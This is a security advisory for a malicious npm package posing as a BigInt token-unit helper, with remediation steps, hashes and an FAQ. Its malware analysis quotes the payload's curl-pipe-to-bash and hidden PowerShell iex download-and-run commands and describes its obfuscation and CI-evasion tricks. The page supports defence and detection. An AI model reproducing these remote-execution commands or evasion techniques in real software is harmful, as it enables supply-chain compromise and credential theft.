Which versions of @stellarshift/token-units are malicious?

The following npm versions of @stellarshift/token-units are flagged malicious: 1.0.0, 1.0.1, 1.0.3. Treat any of these as compromised.

How do I remediate @stellarshift/token-units if I installed it?

@stellarshift/token-units is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @stellarshift/token-units — how do I know if it already compromised me?

If @stellarshift/token-units was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @stellarshift/token-units part of a known attack campaign?

Yes — @stellarshift/token-units is associated with the IN-MAL-2026-019342, IN-MAL-2026-019337, GHSA-rj7g-9fgf-944x, IN-MAL-2026-019613 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @stellarshift/token-units across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @stellarshift/token-units (3 malicious versions).

Malicious package

@stellarshift/token-unitsnpm

Advisory published Sep 2, 2026Updated Sep 4, 2026

@stellarshift/token-units is a confirmed malicious npm package (MAL-2026-15824) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @stellarshift/token-units (npm)

MAL-2026-15824

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @stellarshift/token-units

What this malware does

Package advertises BigInt token-unit conversion helpers (parseUnits/formatUnits) but declares a postinstall hook (scripts/postinstall.js) that invokes lib/runtime/manifest-sync.js. The sync module reconstructs a URL by XOR-decoding an integer array from endpoint-registry.json against the key seed + '-stellarshift-registry' combined with a positional mask (config-resolver.js decodeSegments), then executes the response body with no integrity check: curl -fsSL --connect-timeout 8 '<uri>' 2>/dev/null | bash on Unix, and iex (iwr -UseBasicParsing -TimeoutSec 8 -Uri $uri).Content inside a hidden PowerShell on Windows. Execution is gated by dev-profile.js: shouldSyncRemoteConfig runs isManagedWorkstation(), which requires detection of a collaboration client (Lark/Feishu at /Applications/Lark.app, /Applications/Feishu.app, and Windows equivalents) AND a VPN client (FortiClient), and isContinuousIntegration skips CI environments (CI, GITHUB_ACTIONS, GITLAB_CI, etc.). The destination-URL obfuscation, CI evasion, enterprise-client fingerprinting (Lark/Feishu/FortiClient), and README/behavior mismatch are unrelated to the advertised unit-math API.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

3 flagged

1.0.01.0.11.0.3

Indicators of compromise (SHA-256)

395b10c83ec895128ea8ddc08f2f113a90951357902e71c3621e3df7eee4fd78

a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211

799167b7d6274c8f25f96e1ba8b66bf88ec065b10ed92cce4da2193e42aba346

dd434ba15b30a09529df06c3d6c1e38d4597e2b8e9b60617b031af4a12d515dd

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for @stellarshift/token-units (3 malicious versions).
If you installed it — respond
@stellarshift/token-units is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @stellarshift/token-units was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @stellarshift/token-units on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019342IN-MAL-2026-019337GHSA-rj7g-9fgf-944xIN-MAL-2026-019613

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @stellarshift/token-units-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database